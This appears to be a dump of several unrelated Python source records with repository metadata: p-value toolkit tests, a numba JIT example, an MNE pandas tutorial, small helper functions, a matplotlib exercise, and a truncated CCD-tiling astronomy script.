-----------------------------------------------------------------------------\n\ndef test_p_methods_errors_probabilities_greater_than_one():\n    \"\"\"\n    Testing for errors with invalid probabilities greater than one.\n    \"\"\"\n\n    try:\n        err_str = {\"p_value\": [0.5,3,.02]}\n        p_methods((err_str), 0, 0.01)\n    except(TypeError):\n        assert True\n    else:\n        assert False\n\ndef test_p_methods_errors_probabilities_less_than_zero():\n    \"\"\"\n    Testing for errors with invalid probabilities less than zero.\n    \"\"\"\n\n    try:\n        err_str = {\"p_value\": [0.5,.3,-.02]}\n        p_methods((err_str), 0, 0.01)\n    except(TypeError):\n        assert True\n    else:\n        assert False\n\ndef test_p_methods_errors_alpha_less_than_zero():\n    \"\"\"\n    Testing for errors with invalid alpha less than zero.\n    \"\"\"\n\n    try:\n        err_str = {\"p_value\": [0.5,.3,.02]}\n        p_methods((err_str), 0, -.01)\n    except(ProbabilityError):\n        assert True\n    else:\n        assert False\n\ndef test_p_methods_errors_alpha_greater_than_one():\n    \"\"\"\n    Testing for errors with invalid alpha greater than one.\n    \"\"\"\n\n    try:\n        err_str = {\"p_value\": [0.5,.3,.02]}\n        p_methods((err_str), 0, 3)\n    except(ProbabilityError):\n        assert True\n    else:\n        assert False\n\ndef test_p_methods_1_value_vector_false_signficance():\n    \"\"\"\n    Testing 1 value vector as input for p_methods with false significance.\n    \"\"\"\n\n    d = {\"p_value\": [0.07], \"bonf_value\": [0.05], \"bonf_significant\": [False], \"bh_value\": [0.05],\n         \"bh_significant\": [False]}\n    df = pd.DataFrame(data=d)\n    df = df[['p_value', 'bh_value', 'bh_significant', 'bonf_value', 'bonf_significant']]\n    test = p_methods(data=[0.07], alpha=0.05)\n    test = test[['p_value', 'bh_value', 'bh_significant', 'bonf_value', 'bonf_significant']]\n    assert test.equals(df), \"p_methods 1 value vector, FALSE\"\n\ndef test_p_methods_1_value_vector_true_signficance():\n    \"\"\"\n    Testing 1 value vector as input for p_methods with true significance.\n    \"\"\"\n\n    d = {\"p_value\": [0.01], \"bonf_value\": [0.05], \"bonf_significant\": [True], \"bh_value\": [0.05],\n         \"bh_significant\": [True]}\n    df = pd.DataFrame(data=d)\n    df = df[['p_value', 'bh_value', 'bh_significant', 'bonf_value', 'bonf_significant']]\n    test = p_methods(data=[0.01], alpha=0.05)\n    test = test[['p_value', 'bh_value', 'bh_significant', 'bonf_value', 'bonf_significant']]\n    assert test.equals(df), \"p_methods 1 value vector, TRUE\"\n\ndef test_p_methods_2_value_vector():\n    \"\"\"\n    Testing 2 values vector as input for p_methods.\n    \"\"\"\n\n    d = {\"Test\": [\"test 1\", \"test 2\"], \"p_value\": [0.01, 0.03], \"bonf_value\": [0.025, 0.025],\n         \"bonf_significant\": [True, False], \"bh_value\": [0.025, 0.05], \"bh_significant\": [True, True]}\n    df = pd.DataFrame(data=d)\n    df = df[['p_value', 'bh_value', 'bh_significant', 'bonf_value', 'bonf_significant']]\n    test = p_methods(data=[0.01, 0.03], alpha=0.05)\n    test = test[['p_value', 'bh_value', 'bh_significant', 'bonf_value', 'bonf_significant']]\n    assert test.equals(df), \"p_methods 2 values vector \"\n\ndef test_p_methods_1_value_dataframe_true_signficance():\n    \"\"\"\n    Testing 1 values dataframe with true signficance.\n    \"\"\"\n\n    d = {\"Test\": [\"test 1\"], \"p\": [0.01]}\n    df = pd.DataFrame(data=d)\n    ad = {\"Test\": [\"test 1\"], \"p_value\": [0.01], \"bonf_value\": [0.05], \"bonf_significant\": [True], \"bh_value\": [0.05],\n          \"bh_significant\": [True]}\n    adf = pd.DataFrame(data=ad)\n    adf = adf[['Test', 'p_value', 'bh_value', 'bh_significant', 'bonf_value', 'bonf_significant']]\n    test = p_methods(data=df, pv_index=\"p\", alpha=0.05)\n    test = test[['Test', 'p_value', 'bh_value', 'bh_significant', 'bonf_value', 'bonf_significant']]\n    assert test.equals(adf), \"p_methods 2 values dataframe \"\n\ndef test_p_methods_1_value_dataframe_false_signficance():\n    \"\"\"\n    Testing 1 values dataframe with false signficance.\n    \"\"\"\n\n    d = {\"Test\": [\"test 1\"], \"p_value\": [0.1]}\n    df = pd.DataFrame(data=d)\n    ad = {\"Test\": [\"test 1\"], \"p_value\": [0.1], \"bonf_value\": [0.05], \"bonf_significant\": [False], \"bh_value\": [0.05],\n          \"bh_significant\": [False]}\n    adf = pd.DataFrame(data=ad)\n    adf = adf[['Test', 'p_value', 'bh_value', 'bh_significant', 'bonf_value', 'bonf_significant']]\n    test = p_methods(data=df, pv_index=\"p_value\", alpha=0.05)\n    test = test[['Test', 'p_value', 'bh_value', 'bh_significant', 'bonf_value', 'bonf_significant']]\n    assert test.equals(adf), \"p_methods 2 values dataframe \"\n\ndef test_p_methods_2_values_dataframe():\n    \"\"\"\n    Testing 2 values dataframe.\n    \"\"\"\n\n    d = {\"Test\": [\"test 1\", \"test 2\"], \"p_value\": [0.01, 0.03]}\n    df = pd.DataFrame(data=d)\n    ad = {\"Test\": [\"test 1\", \"test 2\"], \"p_value\": [0.01, 0.03], \"bonf_value\": [0.025, 0.025],\n          \"bonf_significant\": [True, False], \"bh_value\": [0.025, 0.05], \"bh_significant\": [True, True]}\n    adf = pd.DataFrame(data=ad)\n    adf = adf[['Test', 'p_value', 'bh_value', 'bh_significant', 'bonf_value', 'bonf_significant']]\n    test = p_methods(data=df, pv_index=\"p_value\", alpha=0.05)\n    test = test[['Test', 'p_value', 'bh_value', 'bh_significant', 'bonf_value', 'bonf_significant']]\n    assert test.equals(adf), \"p_methods 2 values dataframe \"\n\ndef test_p_methods_empty_data():\n    \"\"\"\n    Testing not empty data.\n    \"\"\"\n    with pytest.raises(TypeError):\n        p_methods()\n\n# -----------------------------------------------------------------------------\n# p_qq tests\n# -----------------------------------------------------------------------------\n\ndef test_p_qq_error_p_value_strings():\n    \"\"\"\n    Testing for errors with p_qq with strings in the p_values vector.\n    \"\"\"\n\n    try:\n        err_str = {\"p_value\": ['str']}\n        p_qq((err_str), 0, \"bonf\", 0.05)\n    except(TypeError):\n        assert True\n    else:\n        assert False\n\ndef test_p_qq_errors_probabilities_less_than_zero():\n    \"\"\"\n    Testing for errors with probabilities less than zero.\n    \"\"\"\n    try:\n        err_str = {\"p_value\": [0.5,3,.02]}\n        p_qq((err_str), 0, 0.01)\n    except(TypeError):\n        assert True\n    else:\n        assert False\n\ndef test_p_qq_errors_probabilities_greater_than_one():\n    \"\"\"\n    Testing for errors with probatilities greater than one.\n    \"\"\"\n\n    try:\n        err_str = {\"p_value\": [0.5,.3,-.02]}\n        p_qq((err_str), 0, 0.01)\n    except(TypeError):\n        assert True\n    else:\n        assert False\n\n# -----------------------------------------------------------------------------\n# p_plot tests\n# -----------------------------------------------------------------------------\n\ndef test_p_plot_errors_probabilities_greater_than_one():\n    \"\"\"\n    Testing for errors with invalid probabilities greater than one.\n    \"\"\"\n    try:\n        err_str = {\"p_value\": [0.5,3,.02]}\n        p_plot((err_str), 0, 0.01)\n    except(TypeError):\n        assert True\n    else:\n        assert False\n\ndef test_p_plot_errors_probabilities_less_than_zero():\n    \"\"\"\n    Testing for errors with invalid negative probabilities.\n    \"\"\"\n\n    try:\n        err_str = {\"p_value\": [0.5,.3,-.02]}\n        p_plot((err_str), 0, 0.01)\n    except(TypeError):\n        assert True\n    else:\n        assert False\n\ndef test_p_plot_errors_alpha_less_than_zero():\n    \"\"\"\n    Testing for errors with invalid negative alpha.\n    \"\"\"\n    try:\n        err_str = {\"p_value\": [0.5,.3,.02]}\n        p_plot((err_str), 0, -.01)\n    except(TypeError):\n        assert True\n    else:\n        assert False\n\ndef test_p_plot_errors_alpha_greater_than_one():\n    \"\"\"\n    Testing for errors with invalid alpha greater than one.\n    \"\"\"\n    try:\n        err_str = {\"p_value\": [0.5,.3,.02]}\n        p_plot((err_str), 0, 3)\n    except(TypeError):\n        assert True\n    else:\n        assert False\n\n# -----------------------------------------------------------------------------\n# Integration tests\n# -----------------------------------------------------------------------------\n\ndef test_p_plot_integration_test():\n    \"\"\"\n    Integration test using the p_plot function with p_methods as input.\n    \"\"\"\n    try:\n        p_plot(p_methods(data=[0.01], alpha=0.05))\n    except(SyntaxError):\n        assert False\n    else:\n        assert True\n\ndef test_p_qq_integration_test():\n    \"\"\"\n    Integration test using the p_qq function with p_methods as input.\n    \"\"\"\n    try:\n        p_qq(p_methods(data=[0.01], alpha=0.05))\n    except(SyntaxError):\n        assert False\n    else:\n        assert True\n", "meta": {"hexsha": "d72aa1be534be1b4bbcfc06b78a472b81d6b2fb5", "size": 11643, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_functionality.py", "max_stars_repo_name": "UBC-MDS/p_toolkit_Python", "max_stars_repo_head_hexsha": "d482736fb9a3bbca93fe0bc86cacf4dc6d5745ba", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/test_functionality.py", "max_issues_repo_name": "UBC-MDS/p_toolkit_Python", "max_issues_repo_head_hexsha": "d482736fb9a3bbca93fe0bc86cacf4dc6d5745ba", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 3, "max_issues_repo_issues_event_min_datetime": "2018-02-14T19:15:24.000Z", "max_issues_repo_issues_event_max_datetime": "2018-02-14T19:36:58.000Z", "max_forks_repo_path": "tests/test_functionality.py", "max_forks_repo_name": "UBC-MDS/p_toolkit_Python", "max_forks_repo_head_hexsha": "d482736fb9a3bbca93fe0bc86cacf4dc6d5745ba", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2018-03-13T06:21:24.000Z", "max_forks_repo_forks_event_max_datetime": "2021-02-14T22:10:47.000Z", "avg_line_length": 30.5590551181, "max_line_length": 118, "alphanum_fraction": 0.5769131667, "include": true, "reason": "import numpy", "num_tokens": 3091, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.1259227615549033, "lm_q1q2_score": 0.06296138077745166}}
{"text": "#!usr/bin/env python3\nimport numba\nfrom numba.typed import List\n\n\n# JIT, Just-In-Time compiling, is a technology that has been used very\n# successfully in several dynamic languages to gain performance.\n# The idea behind Just-In-Time is that we collect information on the code at\n# run time and according to this information, we generate specific machine\n# code for these cases. If you're function runs only once, JIT will not help.\n# But in most cases, bottlenecks are in functions that are called many times.\n# Numba, this is a compiler kit called LLVM, under the hood, to generate\n# machine code for Python functions.\n# LLVM is an acronym that stands for low level virtual machine.\n# It also refers to a compiling technology called the LLVM project, which is a\n# collection of modular and reusable compiler and toolchain technologies.\n\n\ndef poly(coeffs, n):\n    \"\"\"Compute value of polynomial given coefficients\"\"\"\n    total = 0\n    for i, c in enumerate(coeffs):\n        total += c * n ** i\n    return total\n\n\n@numba.jit\ndef poly_j(coeffs, n):\n    \"\"\"Compute value of polynomial given coefficients - JIT\"\"\"\n    total = 0\n    for i, c in enumerate(coeffs):\n        total += c * n ** i\n    return total\n\n\nif __name__ == '__main__':\n    # previously we had coeffs = [4, 8, 15, 16, 23, 42] but we were getting\n    # a warning:\n    # http://numba.pydata.org/numba-doc/latest/reference/deprecation.html#deprecation-of-reflection-for-list-and-set-types\n    coeffs = List()\n    [coeffs.append(x) for x in [4, 8, 15, 16, 23, 42]]\n\n# In [7]: %run src/using_jit.py\n#\n# In [8]: poly(coeffs, 7)\n# Out[8]: 767400\n#\n# In [9]: poly_j(coeffs, 7)\n# Out[9]: 767400\n#\n# In [10]: %timeit poly(coeffs, 7)\n# 18.6 \u00b5s \u00b1 2.08 \u00b5s per loop (mean \u00b1 std. dev. of 7 runs, 100000 loops each)\n#\n# In [11]: %timeit poly_j(coeffs, 7)\n# 1.67 \u00b5s \u00b1 36.7 ns per loop (mean \u00b1 std. dev. of 7 runs, 1000000 loops each)\n", "meta": {"hexsha": "89a270545cd974ee8e357bb99779dfca15e07024", "size": 1880, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/using_jit.py", "max_stars_repo_name": "ariannasg/optimizing-python", "max_stars_repo_head_hexsha": "e6c307dc694bc98c776faea1dbd7f420c2928f64", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/using_jit.py", "max_issues_repo_name": "ariannasg/optimizing-python", "max_issues_repo_head_hexsha": "e6c307dc694bc98c776faea1dbd7f420c2928f64", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/using_jit.py", "max_forks_repo_name": "ariannasg/optimizing-python", "max_forks_repo_head_hexsha": "e6c307dc694bc98c776faea1dbd7f420c2928f64", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.5714285714, "max_line_length": 122, "alphanum_fraction": 0.6893617021, "include": true, "reason": "import numba,from numba", "num_tokens": 539, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.12592275663455996, "lm_q1q2_score": 0.06296137831727998}}
{"text": "\"\"\"\n.. _tut_io_export_pandas:\n\n=================================\nExport epochs to Pandas DataFrame\n=================================\n\nIn this example the pandas exporter will be used to produce a DataFrame\nobject. After exploring some basic features a split-apply-combine\nwork flow will be conducted to examine the latencies of the response\nmaxima across epochs and conditions.\nNote. Equivalent methods are available for raw and evoked data objects.\n\nShort Pandas Primer\n-------------------\n\nPandas Data Frames\n~~~~~~~~~~~~~~~~~~\nA data frame can be thought of as a combination of matrix, list and dict:\nIt knows about linear algebra and element-wise operations but is size mutable\nand allows for labeled access to its data. In addition, the pandas data frame\nclass provides many useful methods for restructuring, reshaping and visualizing\ndata. As most methods return data frame instances, operations can be chained\nwith ease; this allows to write efficient one-liners. Technically a DataFrame\ncan be seen as a high-level container for numpy arrays and hence switching\nback and forth between numpy arrays and DataFrames is very easy.\nTaken together, these features qualify data frames for inter operation with\ndatabases and for interactive data exploration / analysis.\nAdditionally, pandas interfaces with the R statistical computing language that\ncovers a huge amount of statistical functionality.\n\nExport Options\n~~~~~~~~~~~~~~\nThe pandas exporter comes with a few options worth being commented.\n\nPandas DataFrame objects use a so called hierarchical index. This can be\nthought of as an array of unique tuples, in our case, representing the higher\ndimensional MEG data in a 2D data table. The column names are the channel names\nfrom the epoch object. The channels can be accessed like entries of a\ndictionary:\n\n    df['MEG 2333']\n\nEpochs and time slices can be accessed with the .ix method:\n\n    epochs_df.ix[(1, 2), 'MEG 2333']\n\nHowever, it is also possible to include this index as regular categorial data\ncolumns which yields a long table format typically used for repeated measure\ndesigns. To take control of this feature, on export, you can specify which\nof the three dimensions 'condition', 'epoch' and 'time' is passed to the Pandas\nindex using the index parameter. Note that this decision is revertible any\ntime, as demonstrated below.\n\nSimilarly, for convenience, it is possible to scale the times, e.g. from\nseconds to milliseconds.\n\nSome Instance Methods\n~~~~~~~~~~~~~~~~~~~~~\nMost numpy methods and many ufuncs can be found as instance methods, e.g.\nmean, median, var, std, mul, , max, argmax etc.\nBelow an incomplete listing of additional useful data frame instance methods:\n\napply : apply function to data.\n    Any kind of custom function can be applied to the data. In combination with\n    lambda this can be very useful.\ndescribe : quickly generate summary stats\n    Very useful for exploring data.\ngroupby : generate subgroups and initialize a 'split-apply-combine' operation.\n    Creates a group object. Subsequently, methods like apply, agg, or transform\n    can be used to manipulate the underlying data separately but\n    simultaneously. Finally, reset_index can be used to combine the results\n    back into a data frame.\nplot : wrapper around plt.plot\n    However it comes with some special options. For examples see below.\nshape : shape attribute\n    gets the dimensions of the data frame.\nvalues :\n    return underlying numpy array.\nto_records :\n    export data as numpy record array.\nto_dict :\n    export data as dict of arrays.\n\nReference\n~~~~~~~~~\nMore information and additional introductory materials can be found at the\npandas doc sites: http://pandas.pydata.org/pandas-docs/stable/\n\"\"\"\n# Author: Denis Engemann <denis.engemann@gmail.com>\n#\n# License: BSD (3-clause)\n\nimport mne\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom mne.datasets import sample\n\nprint(__doc__)\n\ndata_path = sample.data_path()\nraw_fname = data_path + '/MEG/sample/sample_audvis_filt-0-40_raw.fif'\nevent_fname = data_path + '/MEG/sample/sample_audvis_filt-0-40_raw-eve.fif'\n\nraw = mne.io.read_raw_fif(raw_fname)\n\n# For simplicity we will only consider the first 10 epochs\nevents = mne.read_events(event_fname)[:10]\n\n# Add a bad channel\nraw.info['bads'] += ['MEG 2443']\npicks = mne.pick_types(raw.info, meg='grad', eeg=False, eog=True,\n                       stim=False, exclude='bads')\n\ntmin, tmax = -0.2, 0.5\nbaseline = (None, 0)\nreject = dict(grad=4000e-13, eog=150e-6)\n\nevent_id = dict(auditory_l=1, auditory_r=2, visual_l=3, visual_r=4)\n\nepochs = mne.Epochs(raw, events, event_id, tmin, tmax, proj=True, picks=picks,\n                    baseline=baseline, preload=True, reject=reject)\n\n###############################################################################\n# Export DataFrame\n\n# The following parameters will scale the channels and times plotting\n# friendly. The info columns 'epoch' and 'time' will be used as hierarchical\n# index whereas the condition is treated as categorial data. Note that\n# this is optional. By passing None you could also print out all nesting\n# factors in a long table style commonly used for analyzing repeated measure\n# designs.\n\nindex, scale_time, scalings = ['epoch', 'time'], 1e3, dict(grad=1e13)\n\ndf = epochs.to_data_frame(picks=None, scalings=scalings, scale_time=scale_time,\n                          index=index)\n\n# Create MEG channel selector and drop EOG channel.\nmeg_chs = [c for c in df.columns if 'MEG' in c]\n\ndf.pop('EOG 061')  # this works just like with a list.\n\n###############################################################################\n# Explore Pandas MultiIndex\n\n# Pandas is using a MultiIndex or hierarchical index to handle higher\n# dimensionality while at the same time representing data in a flat 2d manner.\n\nprint(df.index.names, df.index.levels)\n\n# Inspecting the index object unveils that 'epoch', 'time' are used\n# for subsetting data. We can take advantage of that by using the\n# .ix attribute, where in this case the first position indexes the MultiIndex\n# and the second the columns, that is, channels.\n\n# Plot some channels across the first three epochs\nxticks, sel = np.arange(3, 600, 120), meg_chs[:15]\ndf.ix[:3, sel].plot(xticks=xticks)\nmne.viz.tight_layout()\n\n# slice the time starting at t0 in epoch 2 and ending 500ms after\n# the base line in epoch 3. Note that the second part of the tuple\n# represents time in milliseconds from stimulus onset.\ndf.ix[(1, 0):(3, 500), sel].plot(xticks=xticks)\nmne.viz.tight_layout()\n\n# Note: For convenience the index was converted from floating point values\n# to integer values. To restore the original values you can e.g. say\n# df['times'] = np.tile(epoch.times, len(epochs_times)\n\n# We now reset the index of the DataFrame to expose some Pandas\n# pivoting functionality. To simplify the groupby operation we\n# we drop the indices to treat epoch and time as categroial factors.\n\ndf = df.reset_index()\n\n# The ensuing DataFrame then is split into subsets reflecting a crossing\n# between condition and trial number. The idea is that we can broadcast\n# operations into each cell simultaneously.\n\nfactors = ['condition', 'epoch']\nsel = factors + ['MEG 1332', 'MEG 1342']\ngrouped = df[sel].groupby(factors)\n\n# To make the plot labels more readable let's edit the values of 'condition'.\ndf.condition = df.condition.apply(lambda name: name + ' ')\n\n# Now we compare the mean of two channels response across conditions.\ngrouped.mean().plot(kind='bar', stacked=True, title='Mean MEG Response',\n                    color=['steelblue', 'orange'])\nmne.viz.tight_layout()\n\n# We can even accomplish more complicated tasks in a few lines calling\n# apply method and passing a function. Assume we wanted to know the time\n# slice of the maximum response for each condition.\n\nmax_latency = grouped[sel[2]].apply(lambda x: df.time[x.argmax()])\n\nprint(max_latency)\n\n# Then make the plot labels more readable let's edit the values of 'condition'.\ndf.condition = df.condition.apply(lambda name: name + ' ')\n\nplt.figure()\nmax_latency.plot(kind='barh', title='Latency of Maximum Response',\n                 color=['steelblue'])\nmne.viz.tight_layout()\n\n# Finally, we will again remove the index to create a proper data table that\n# can be used with statistical packages like statsmodels or R.\n\nfinal_df = max_latency.reset_index()\nfinal_df.rename(columns={0: sel[2]})  # as the index is oblivious of names.\n\n# The index is now written into regular columns so it can be used as factor.\nprint(final_df)\n\nplt.show()\n\n# To save as csv file, uncomment the next line.\n# final_df.to_csv('my_epochs.csv')\n\n# Note. Data Frames can be easily concatenated, e.g., across subjects.\n# E.g. say:\n#\n# import pandas as pd\n# group = pd.concat([df_1, df_2])\n# group['subject'] = np.r_[np.ones(len(df_1)), np.ones(len(df_2)) + 1]\n", "meta": {"hexsha": "1359a96053ed8eae429bfbfa82379c76131d2ffd", "size": 8815, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/plot_epochs_to_data_frame.py", "max_stars_repo_name": "mmagnuski/mne-python", "max_stars_repo_head_hexsha": "8b4aa6731b828430453b6e36405313e1bea3d701", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2017-10-25T18:42:30.000Z", "max_stars_repo_stars_event_max_datetime": "2019-06-15T06:48:10.000Z", "max_issues_repo_path": "tutorials/plot_epochs_to_data_frame.py", "max_issues_repo_name": "alexandrebarachant/mne-python", "max_issues_repo_head_hexsha": "b54e38c9bbac38c6f53747075b5bad2936fbc5b9", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tutorials/plot_epochs_to_data_frame.py", "max_forks_repo_name": "alexandrebarachant/mne-python", "max_forks_repo_head_hexsha": "b54e38c9bbac38c6f53747075b5bad2936fbc5b9", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2017-04-20T12:21:15.000Z", "max_forks_repo_forks_event_max_datetime": "2017-04-20T12:21:15.000Z", "avg_line_length": 38.3260869565, "max_line_length": 79, "alphanum_fraction": 0.7287577992, "include": true, "reason": "import numpy", "num_tokens": 2052, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4301473339755162, "lm_q2_score": 0.1460872489071524, "lm_q1q2_score": 0.06283904064522924}}
{"text": "\"\"\" Helper Functions Assignment \"\"\"\n\nimport pandas as pd\nimport numpy as np\n\ndef null_count(df):\n    # return the amount of null values in a dataframe\n    return df.isnull().sum()\n\ndef randomized(df, seed):\n    np.random.seed(seed)\n    df = df.iloc[np.random.shuffle(len(df))].reset_index(drop=True)\n    return df", "meta": {"hexsha": "f9aa4c31751a66b1526d010342a3dccee357be53", "size": 313, "ext": "py", "lang": "Python", "max_stars_repo_path": "lambdata/helper_func.py", "max_stars_repo_name": "torarm/unit3sprint1", "max_stars_repo_head_hexsha": "4bc92515f1f50f0354a893b29b466b4707fcf1ea", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "lambdata/helper_func.py", "max_issues_repo_name": "torarm/unit3sprint1", "max_issues_repo_head_hexsha": "4bc92515f1f50f0354a893b29b466b4707fcf1ea", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lambdata/helper_func.py", "max_forks_repo_name": "torarm/unit3sprint1", "max_forks_repo_head_hexsha": "4bc92515f1f50f0354a893b29b466b4707fcf1ea", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.0769230769, "max_line_length": 67, "alphanum_fraction": 0.6932907348, "include": true, "reason": "import numpy", "num_tokens": 72, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014734858584286, "lm_q2_score": 0.14608724147172558, "lm_q1q2_score": 0.06283903958128255}}
{"text": "# Julian Conneely 05/10/18\r\n# adding Title, Labels and Legend\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nx = np.arange(0.0, 10.0, 0.01)\r\ny = 3.0 * x + 1.0\r\nnoise = np.random.normal(0.0, 1.0, len(x))\r\n\r\nplt.plot(x, y + noise, 'r.', label=\"Actual\") # added label\r\nplt.plot(x, y, 'b-', label=\"Model\") # added label\r\n\r\nplt.title(\"Super Simple Plot\") # title, labels and legend\r\nplt.xlabel(\"weight\")\r\nplt.ylabel(\"height\")\r\nplt.legend()\r\n\r\nplt.show() ", "meta": {"hexsha": "1956e44c35ff635e3fa20bc3c7fd9aa0dbb362f5", "size": 460, "ext": "py", "lang": "Python", "max_stars_repo_path": "Matplotlib examples/TitlesLabels.py", "max_stars_repo_name": "JulianConneely/Python-Programming-Semester-2", "max_stars_repo_head_hexsha": "83d957161050288c9a116ccdeccf1c20e7815735", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Matplotlib examples/TitlesLabels.py", "max_issues_repo_name": "JulianConneely/Python-Programming-Semester-2", "max_issues_repo_head_hexsha": "83d957161050288c9a116ccdeccf1c20e7815735", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Matplotlib examples/TitlesLabels.py", "max_forks_repo_name": "JulianConneely/Python-Programming-Semester-2", "max_forks_repo_head_hexsha": "83d957161050288c9a116ccdeccf1c20e7815735", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.2105263158, "max_line_length": 59, "alphanum_fraction": 0.6369565217, "include": true, "reason": "import numpy", "num_tokens": 149, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014734858584286, "lm_q2_score": 0.14608724147172558, "lm_q1q2_score": 0.06283903958128255}}
{"text": "\"\"\"\nGenerating a CCD mosaic\n=======================\n\nThis file contains a class to create a single VIS CCD image from separate files one for each quadrant.\n\n:requires: NumPy\n:requires: PyFITS\n\n:author: Sami-Matias Niemi\n:contact: s.niemi@ucl.ac.uk\n\nTo execute::\n\n    python tileCCD.py -f 'Q*science.fits' -e 1\n\nwhere -f argument defines the input files to be tiled and the -e argument marks the\nFITS extension from which the imaging data are being read.\n\n:version: 0.5\n\n.. todo::\n\n    #. Does not deal properly with multiple WCSs coming in the different quadrants (should recalculate the\n       centre of the CCD and modify the WCS accordingly).\n    #. Improve the history section.\n\n\"\"\"\nimport pyfits as pf\nimport numpy as np\nfrom optparse import OptionParser\nimport sys, os, datetime, re\nimport glob as g\nfrom support import logger as lg\n\n\nclass tileCCD():\n    \"\"\"\n    Class to create a single VIS CCD image from separate quadrants files.\n    \"\"\"\n    def __init__(self, inputs, log):\n        \"\"\"\n        Class constructor.\n        \"\"\"\n        self.inputs = inputs\n        self.log = log\n\n\n    def readData(self):\n        \"\"\"\n        Reads in data from all the input files and the header from the first file.\n        Input files are taken from the input dictionary given when class was initiated.\n\n        Subtracts the pre- and overscan regions if these were simulated. Takes into account\n        which quadrant is being processed so that the extra regions are subtracted correctly.\n        \"\"\"\n        data = {}\n        for i, file in enumerate(self.inputs['files']):\n            fh = pf.open(file)\n            hdu = fh[self.inputs['ext']].header\n\n            if i == 0:\n                self.hdu = hdu\n\n            try:\n                overscan = hdu['OVERSCA']\n            except:\n                overscan = 'False'\n\n            if 'True' in overscan and 'nonoise' not in file:\n                self.log.info('Subtracting pre- and overscan regions')\n                prescanx = hdu['PRESCANX']\n                overscanx = hdu['OVRSCANX']\n                quadrant = hdu['QUADRANT']\n\n                if quadrant in (0, 2):\n                    data[file] = fh[self.inputs['ext']].data[:, prescanx: -overscanx]\n                else:\n                    data[file] = fh[self.inputs['ext']].data[:, overscanx: -prescanx]\n            else:\n                self.log.info('No overscan simulated, using full array')\n                data[file] = fh[self.inputs['ext']].data\n\n            self.log.info('Read data from {0:>s} extension {1:d}'.format(file, self.inputs['ext']))\n            fh.close()\n\n        self.data = data\n        return self.data\n\n\n    def tileCCD(self, xsize=2048, ysize=2066):\n        \"\"\"\n        Tiles quadrants to form a single CCD image.\n\n        Assume that the input file naming convention is Qx_CCDX_CCDY_name.fits.\n\n        :param xsize: length of a quadrant in column direction\n        :type xsize: int\n        :param ysize: length of a quadrant in row direction\n        :type ysize: int\n\n        :return: image array of size (ysize*2, xsize*2)\n        :rtype: ndnarray\n        \"\"\"\n        self.CCDdata = np.zeros((ysize*2, xsize*2))\n\n        for key, data in self.data.iteritems():\n            #use regular expression to find the numbers\n            p = re.compile('\\d+')\n            ls = p.findall(key)\n            #in ls, numbers are [quadrant, CCDx, CCDy]\n            if len(ls) < 3:\n                print 'Problem when parsing the file name!'\n                print 'Filenames should be in format:'\n                print 'Qx_CCDX_CCDYfilename.fits'\n                self.log.error('Problem when parsing the file name!')\n                return self.CCDdata\n\n            #note here that because we will save a FITS file the numbering\n            #starts from the lower left corner!\n            if int(ls[0]) == 0:\n                self.CCDdata[0:ysize, 0:xsize] = data\n            elif int(ls[0]) == 1:\n                self.CCDdata[:ysize, xsize:] = data\n            elif int(ls[0]) == 2:\n                self.CCDdata[ysize:, :xsize] = data\n            elif int(ls[0]) == 3:\n                self.CCDdata[ysize:, xsize:] = data\n\n        return self.CCDdata\n\n\n    def writeFITSfile(self, data=None, unsigned16bit=True):\n        \"\"\"\n        Write out FITS files using PyFITS.\n\n        :param data: data to write to a FITS file, if None use self.data\n        :type data: ndarray\n        :param unsigned16bit: whether to scale the data using bzero=32768\n        :type unsigned16bit: bool\n\n        :return: None\n        \"\"\"\n        if 